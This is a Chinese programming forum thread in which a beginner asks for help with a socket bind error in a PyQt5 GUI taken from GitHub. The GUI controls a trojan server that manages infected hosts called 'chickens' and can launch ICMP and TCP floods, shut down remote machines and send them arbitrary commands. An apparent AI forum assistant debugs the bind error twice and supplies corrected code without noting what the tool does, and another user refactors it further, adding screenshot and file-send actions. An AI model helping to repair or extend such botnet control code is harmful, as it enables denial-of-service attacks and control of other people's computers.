OSError: [WinError 10049] 在其上下文中，该请求的地址无效。

python小小白哟

在github上下了一个开源项目，打算研究一下，但是出现了标题一样的错误，求各位大神们如何消除BUG，代码如下:

1. import builtins
   
2. import sys
   
3. 
   
4. from PyQt5.QtCore import pyqtSignal, QObject, Qt
   
5. from PyQt5.QtGui import QCursor
   
6. from PyQt5.QtWidgets import QMenu, QWidget, QApplication, QListWidgetItem, QAction, QCheckBox, QLabel
   
7. 
   
8. from control_panel import DetailMain
   
9. 
   
10. STDprint = builtins.print
    
11. 
    
12. from ServerUI import Ui_Server
    
13. from server import TrojanServer, Chienken
    
14. 
    
15. 
    
16. class Conmunication(QObject):
    
17.     chickenUpSignal = pyqtSignal(Chienken)
    
18.     selectChangeSignal = pyqtSignal(str)
    
19.     listFreshSignal = pyqtSignal(int, Chienken)
    
20.     refreshSignal = pyqtSignal()
    
21. 
    
22. class ServerMain(QWidget, Ui_Server):
    
23.     def __init__(self):
    
24.         super().__init__()
    
25.         self.setupUi(self)
    
26.         builtins.print = self.displayLog
    
27.         self.trojanServer = TrojanServer()
    
28.         self.signals = Conmunication()
    
29.         self.trojanServer.signals = self.signals
    
30.         self.signals.chickenUpSignal.connect(self.addToCurrentList)
    
31.         self.freshCurrentList()
    
32.         self.ipInput.setText(self.trojanServer.bind_IP)
    
33.         self.usp.setText(str(self.trojanServer.udpPort))
    
34.         self.urp.setText(str(self.trojanServer.udpRecvPort))
    
35.         self.tp.setText(str(self.trojanServer.tcpPort))
    
36.         self.bind()
    
37.         print("Welcome!")
    
38. 
    
39. 
    
40.     def bind(self):
    
41.         self.cmdEdit.returnPressed.connect(self.sendCmd)
    
42.         self.signals.selectChangeSignal.connect(self.changeSelected)
    
43.         self.freshlist.clicked.connect(self.freshCurrentList)
    
44.         self.scanAll.clicked.connect(self.trojanServer.scanAll)
    
45.         self.signals.listFreshSignal.connect(self.freshItem)
    
46.         self.saveButton.clicked.connect(self.save)
    
47.         self.chickenlist.setContextMenuPolicy(Qt.CustomContextMenu)
    
48.         self.chickenlist.customContextMenuRequested.connect(self.myListWidgetContext)
    
49.         self.all_button.clicked.connect(self.checkall)
    
50.         self.reverse_button.clicked.connect(self.reverseCheck)
    
51.         self.icmpButton.clicked.connect(self.icmp)
    
52.         self.signals.refreshSignal.connect(self.freshlist.clicked.emit)
    
53.         self.deletebutton.clicked.connect(self.deleteSelected)
    
54.         self.shutdownButton.clicked.connect(self.shutChicken)
    
55.         self.stopbutton.clicked.connect(lambda :self.opeate("floodStop"))
    
56.         self.tcpfloodbutton.clicked.connect(self.tcpFlood)
    
57. 
    
58.     def deleteSelected(self):
    
59.         selected = self.getSelect()
    
60.         for i in reversed(selected):
    
61.             self.trojanServer.cmdQ.put("delete %d"%i)
    
62.         # for c in selected:
    
63.         #     self.trojanServer.cmdQ.put("msg " + str(c) + " %s" % type)
    
64. 
    
65.     def icmp(self):
    
66.         self.opeate("icmpFlood %s" % self.attack_ip.text())
    
67. 
    
68.     def tcpFlood(self):
    
69.         self.opeate("tcpFlood %s %s" % (self.attack_ip.text(), self.attack_port.text()))
    
70. 
    
71.     def shutChicken(self):
    
72.         self.opeate(r"shutdown \s")
    
73. 
    
74.     def opeate(self, type):
    
75.         selected = self.getSelect()
    
76.         for c in selected:
    
77.             self.trojanServer.cmdQ.put("msg "+str(c)+" %s" % type)
    
78. 
    
79.     def freshItem(self, index, chicken):
    
80.         check:QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(index))
    
81.         check.setText("[%d][%s] %s\tip:%s\tport:%d "%(index,"在线" if chicken.online else "离线", chicken.name, chicken.ip, chicken.port))
    
82. 
    
83.     def myListWidgetContext(self, point):
    
84.         item = self.chickenlist.itemAt(point)
    
85.         if not item:
    
86.             return
    
87.         checkbox:QCheckBox = self.chickenlist.itemWidget(item)
    
88.         row = int(checkbox.text().split(']')[0][1:])
    
89.         popMenu = QMenu()
    
90. 
    
91.         a1 = QAction(u'连接', self)
    
92.         a2 = QAction(u'删除', self)
    
93. 
    
94.         popMenu.addAction(a1)
    
95.         popMenu.addAction(a2)
    
96. 
    
97.         a1.triggered.connect(lambda :self.openDetail(row))
    
98.         a2.triggered.connect(lambda :self.trojanServer.cmdQ.put("delete %d"%row))
    
99. 
    
100.         popMenu.exec_(QCursor.pos())
     
101. 
     
102.     def openDetail(self, row):
     
103.         print("control %d" %row)
     
104.         detail = DetailMain(self.trojanServer, row)
     
105.         detail.show()
     
106.         detail.connect_button.clicked.emit()
     
107. 
     
108.     def save(self):
     
109.         self.trojanServer.cmdQ.put("save")
     
110. 
     
111.     def sendCmd(self):
     
112.         cmd = self.cmdEdit.text()
     
113.         self.cmdEdit.clear()
     
114.         if cmd == "cls" or cmd == 'clear':
     
115.             self.logbrow.clear()
     
116.             return
     
117.         self.trojanServer.cmdQ.put(cmd)
     
118. 
     
119.     def changeSelected(self, name):
     
120.         # self.selectedLabel.setText(name)
     
121.         pass
     
122. 
     
123.     def displayLog(self, content, end='\n'):
     
124.         self.logbrow.append(str(content))
     
125.         self.logbrow.moveCursor(self.logbrow.textCursor().End)
     
126. 
     
127.     def freshCurrentList(self):
     
128.         i:int = 0
     
129.         online = self.online_check.isChecked()
     
130.         offline = self.offline_check.isChecked()
     
131.         self.chickenlist.clear()
     
132.         for chicken in self.trojanServer.allChickens:
     
133.             if (chicken.online and online) or (not chicken.online and offline):
     
134.                 box = QCheckBox("[%d][%s] %s\tip:%s\tport:%d "%(i,"在线" if chicken.online else "离线", chicken.name, chicken.ip, chicken.port))
     
135.                 item = QListWidgetItem()
     
136.                 self.chickenlist.addItem(item)
     
137.                 self.chickenlist.setItemWidget(item, box)
     
138.                 box.clicked.connect(self.chickenChecked)
     
139.             i += 1
     
140. 
     
141.     def chickenChecked(self):
     
142.         sender = self.sender()
     
143.         print("check "+sender.text().split(']')[0][1:])
     
144. 
     
145. 
     
146.     def addToCurrentList(self, chicken:Chienken):
     
147.         self.freshCurrentList()
     
148. 
     
149.     def getSelect(self):
     
150.         count = self.chickenlist.count()
     
151.         res = []
     
152.         for i in range(0, count):
     
153.             box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
     
154.             if box.isChecked():
     
155.                 res.append(i)
     
156.         return res
     
157. 
     
158.     def checkall(self):
     
159.         count = self.chickenlist.count()
     
160.         for i in range(0, count):
     
161.             box:QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
     
162.             box.setChecked(True)
     
163. 
     
164. 
     
165.     def reverseCheck(self):
     
166.         count = self.chickenlist.count()
     
167.         for i in range(0, count):
     
168.             box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
     
169.             box.setChecked(not box.isChecked())
     
170. 
     
171.     def clearCheck(self):
     
172.         count = self.chickenlist.count()
     
173.         for i in range(0, count):
     
174.             box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
     
175.             box.setChecked(False)
     
176. 
     
177.     def closeEvent(self, event):
     
178.         self.save()
     
179. 
     
180. 
     
181. 
     
182. 
     
183. if __name__ == '__main__':
     
184.     app = QApplication(sys.argv)
     
185.     MainWin = ServerMain()
     
186.     MainWin.show()
     
187.     sys.exit(app.exec_())
     
188. 
     
189. 
     

复制代码

FishC

你遇到的错误 `OSError: 在其上下文中，该请求的地址无效` 通常是由于绑定到一个无效的IP地址或端口引起的。可能原因如下：

1. 选择的IP地址不在当前系统的网络接口中，或者这个IP地址无法绑定。
2. 选择的端口已经被占用，或者处于保留状态。

代码中的几个关键变量值可能导致问题：

1. self.ipInput.setText(self.trojanServer.bind_IP)
   
2. self.usp.setText(str(self.trojanServer.udpPort))
   
3. self.urp.setText(str(self.trojanServer.udpRecvPort))
   
4. self.tp.setText(str(self.trojanServer.tcpPort))

复制代码

为了排查和解决这个问题，可以尝试以下步骤：

• 确保绑定的IP地址 (self.trojanServer.bind_IP) 是有效的，例如 "0.0.0.0" 或者 "127.0.0.1"。
• 确保端口号 (self.trojanServer.udpPort、self.trojanServer.udpRecvPort、self.trojanServer.tcpPort) 没有被其他程序占用，且不在保留端口（如 0-1024）范围内。
• 检查网络配置是否正确，比如是否开启了防火墙阻止相关端口通信。
  

另外，你的代码中存在一些语法错误和格式问题。例如，在方法 getSelect 中似乎忘记初始化 res：

1. def getSelect(self):
   
2.     count = self.chickenlist.count()
   
3.     res = []  # 初始化 res 为一个空列表
   
4.     for i in range(0, count):
   
5.         box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
   
6.         if box.isChecked():
   
7.             res.append(i)
   
8.     return res

复制代码

通过以上方式检查和修改你的代码，希望可以解决 `OSError` 的问题。如果你需要进一步的帮助，可以提供更多错误细节和上下文信息。

以上回复来自 FishC AI 小助理，如未能正确解答您的问题，请继续追问。

python小小白哟

FishC 发表于 2025-1-27 17:29
你遇到的错误 `OSError: 在其上下文中，该请求的地址无效` 通常是由于绑定到一个无效的IP地址或端口引起的 ...

    self.tcpSocket.bind((self.bind_IP, self.tcpPort))
OSError: [WinError 10049] 在其上下文中，该请求的地址无效。

出现了以上的错误报告。

FishC

python小小白哟 发表于 2025-01-27 17:30
FishC 发表于 2025-1-27 17:29
你遇到的错误 `OSErro ...

根据错误报告 `OSError: 在其上下文中，该请求的地址无效。`，这是由于试图绑定到一个无效的 IP 地址或端口。请确保 `self.bind_IP` 和 `self.tcpPort` 的取值是正确的并且可以使用。

以下是一些可能的解决方案：

1. **确保 IP 地址是有效的**：确认 `self.bind_IP` 是你机器的一个有效 IP 地址，或者尝试使用 `0.0.0.0`（绑定到所有可用接口）或 `127.0.0.1`（仅绑定到本地接口）。

2. **检查端口是否被占用或者保留**：确认 `self.tcpPort` 不是系统保留的端口（通常保留端口是 0-1024），并且没有被其他程序占用。

3. **示例代码**：以下示例展示了如何修改你的 `bind` 方法来确保 IP 地址和端口号有效且可用：

1. def bind(self):
   
2.     valid_ip = "127.0.0.1"  # 或者 "0.0.0.0"
   
3.     valid_port = 12345       # 确保这个端口没有被占用
   
4.    
   
5.     self.cmdEdit.returnPressed.connect(self.sendCmd)
   
6.     self.signals.selectChangeSignal.connect(self.changeSelected)
   
7.     self.freshlist.clicked.connect(self.freshCurrentList)
   
8.     self.scanAll.clicked.connect(self.trojanServer.scanAll)
   
9.     self.signals.listFreshSignal.connect(self.freshItem)
   
10.     self.saveButton.clicked.connect(self.save)
    
11.     self.chickenlist.setContextMenuPolicy(Qt.CustomContextMenu)
    
12.     self.chickenlist.customContextMenuRequested.connect(self.myListWidgetContext)
    
13.     self.all_button.clicked.connect(self.checkall)
    
14.     self.reverse_button.clicked.connect(self.reverseCheck)
    
15.     self.icmpButton.clicked.connect(self.icmp)
    
16.     self.signals.refreshSignal.connect(self.freshlist.clicked.emit)
    
17.     self.deletebutton.clicked.connect(self.deleteSelected)
    
18.     self.shutdownButton.clicked.connect(self.shutChicken)
    
19.     self.stopbutton.clicked.connect(lambda: self.opeate("floodStop"))
    
20.     self.tcpfloodbutton.clicked.connect(self.tcpFlood)
    
21. 
    
22.     try:
    
23.         self.trojanServer.bind_IP = valid_ip
    
24.         self.trojanServer.tcpPort = valid_port
    
25. 
    
26.         self.tcpSocket.bind((self.trojanServer.bind_IP, self.trojanServer.tcpPort))
    
27.         print(f"Binding to {valid_ip}:{valid_port} succeeded!")
    
28.     except OSError as e:
    
29.         print(f"Binding to {valid_ip}:{valid_port} failed: {e}")
    
30.         raise

复制代码

确保替换你的 `bind` 方法中的相关部分，将 `valid_ip` 和 `valid_port` 改为适合你的实际环境的值。如果有必要，添加调试信息以帮助确定绑定失败的确切原因。

如果你还有其他问题，欢迎继续提问！

以上回复来自 FishC AI 小助理，如未能正确解答您的问题，请继续追问。

三体人的智子

1. import builtins
   
2. import sys
   
3. from PyQt5.QtCore import pyqtSignal, QObject, Qt
   
4. from PyQt5.QtGui import QCursor
   
5. from PyQt5.QtWidgets import (QMenu, QWidget, QApplication, QListWidgetItem,
   
6.                              QAction, QCheckBox, QLabel)
   
7. from control_panel import DetailMain
   
8. 
   
9. STDprint = builtins.print
   
10. from ServerUI import Ui_Server
    
11. from server import TrojanServer, Chicken  # 修正类名拼写
    
12. 
    
13. class Communication(QObject):  # 修正拼写
    
14.     chicken_up_signal = pyqtSignal(Chicken)
    
15.     select_change_signal = pyqtSignal(str)
    
16.     list_fresh_signal = pyqtSignal(int, Chicken)
    
17.     refresh_signal = pyqtSignal()
    
18. 
    
19. class ServerMain(QWidget, Ui_Server):
    
20.     def __init__(self):
    
21.         super().__init__()
    
22.         self.setupUi(self)
    
23.         builtins.print = self.display_log
    
24.         
    
25.         # 服务器核心组件
    
26.         self.trojan_server = TrojanServer()
    
27.         self.signals = Communication()
    
28.         self.trojan_server.signals = self.signals
    
29.         
    
30.         # 信号连接
    
31.         self.signals.chicken_up_signal.connect(self.add_to_current_list)
    
32.         self.signals.select_change_signal.connect(self.change_selected)
    
33.         self.signals.list_fresh_signal.connect(self.fresh_item)
    
34.         self.signals.refresh_signal.connect(self.fresh_list)
    
35.         
    
36.         # 初始化UI
    
37.         self._init_ui()
    
38.         self._bind_events()
    
39.         print("Server Initialized!")
    
40. 
    
41.     def _init_ui(self):
    
42.         """初始化界面配置"""
    
43.         self.ipInput.setText(self.trojan_server.bind_IP)
    
44.         self.usp.setText(str(self.trojan_server.udpPort))
    
45.         self.urp.setText(str(self.trojan_server.udpRecvPort))
    
46.         self.tp.setText(str(self.trojan_server.tcpPort))
    
47.         self.chickenlist.setContextMenuPolicy(Qt.CustomContextMenu)
    
48. 
    
49.     def _bind_events(self):
    
50.         """绑定事件处理"""
    
51.         self.cmdEdit.returnPressed.connect(self.send_cmd)
    
52.         self.freshlist.clicked.connect(self.fresh_current_list)
    
53.         self.scanAll.clicked.connect(self.trojan_server.scan_all)
    
54.         self.saveButton.clicked.connect(self.save_config)
    
55.         self.chickenlist.customContextMenuRequested.connect(self.show_context_menu)
    
56.         self.all_button.clicked.connect(self.check_all)
    
57.         self.reverse_button.clicked.connect(self.reverse_check)
    
58.         self.icmpButton.clicked.connect(self.start_icmp_scan)
    
59.         self.deletebutton.clicked.connect(self.delete_selected)
    
60. 
    
61.     #region 核心功能实现
    
62.     def display_log(self, *args, **kwargs):
    
63.         """重定向print到日志窗口"""
    
64.         original_print(*args, **kwargs)
    
65.         message = ' '.join(map(str, args))
    
66.         self.logOutput.appendPlainText(message)
    
67.         self.logOutput.verticalScrollBar().setValue(
    
68.             self.logOutput.verticalScrollBar().maximum()
    
69.         )
    
70. 
    
71.     def send_cmd(self):
    
72.         """发送命令到选中客户端"""
    
73.         if cmd := self.cmdEdit.text().strip():
    
74.             selected = self.get_selected_clients()
    
75.             if not selected:
    
76.                 print("Error: No client selected!")
    
77.                 return
    
78.                
    
79.             for client in selected:
    
80.                 # 这里需要实现具体命令发送逻辑
    
81.                 print(f"Sending command to {client.id}: {cmd}")
    
82.             self.cmdEdit.clear()
    
83. 
    
84.     def fresh_current_list(self):
    
85.         """刷新客户端列表"""
    
86.         self.chickenlist.clear()
    
87.         for idx, client in enumerate(self.trojan_server.clients):
    
88.             self.add_client_item(idx, client)
    
89. 
    
90.     def add_to_current_list(self, client: Chicken):
    
91.         """添加新客户端到列表"""
    
92.         self.add_client_item(self.chickenlist.count(), client)
    
93.         print(f"New client connected: {client.id}")
    
94. 
    
95.     def add_client_item(self, index: int, client: Chicken):
    
96.         """创建带复选框的列表项"""
    
97.         item = QListWidgetItem()
    
98.         widget = QWidget()
    
99.         layout = QHBoxLayout(widget)
    
100.         
     
101.         checkbox = QCheckBox()
     
102.         label = QLabel(f"{client.id} ({client.ip})")
     
103.         
     
104.         layout.addWidget(checkbox)
     
105.         layout.addWidget(label)
     
106.         layout.setContentsMargins(2, 2, 2, 2)
     
107.         
     
108.         widget.checkbox = checkbox  # 保存复选框引用
     
109.         widget.client = client      # 绑定客户端对象
     
110.         
     
111.         self.chickenlist.addItem(item)
     
112.         self.chickenlist.setItemWidget(item, widget)
     
113.     #endregion
     
114. 
     
115.     #region 上下文菜单相关
     
116.     def show_context_menu(self, pos):
     
117.         """显示右键菜单"""
     
118.         menu = QMenu()
     
119.         actions = [
     
120.             ("详情", self.show_detail),
     
121.             ("发送文件", self.send_file),
     
122.             ("截屏", self.capture_screen)
     
123.         ]
     
124.         
     
125.         for text, handler in actions:
     
126.             action = QAction(text, self)
     
127.             action.triggered.connect(handler)
     
128.             menu.addAction(action)
     
129.             
     
130.         menu.exec_(QCursor.pos())
     
131. 
     
132.     def show_detail(self):
     
133.         """显示客户端详情"""
     
134.         if selected := self.chickenlist.currentItem():
     
135.             client = self.chickenlist.itemWidget(selected).client
     
136.             self.detailPanel = DetailMain(client)
     
137.             self.detailPanel.show()
     
138.     #endregion
     
139. 
     
140.     #region 配置管理
     
141.     def save_config(self):
     
142.         """保存服务器配置"""
     
143.         try:
     
144.             self.trojan_server.bind_IP = self.ipInput.text()
     
145.             self.trojan_server.udpPort = int(self.usp.text())
     
146.             self.trojan_server.udpRecvPort = int(self.urp.text())
     
147.             self.trojan_server.tcpPort = int(self.tp.text())
     
148.             print("配置已保存")
     
149.         except ValueError as e:
     
150.             print(f"保存失败: {str(e)}")
     
151.     #endregion
     
152. 
     
153. if __name__ == "__main__":
     
154.     app = QApplication(sys.argv)
     
155.     window = ServerMain()
     
156.     window.show()
     
157.     sys.exit(app.exec_())
     
158. ```

复制代码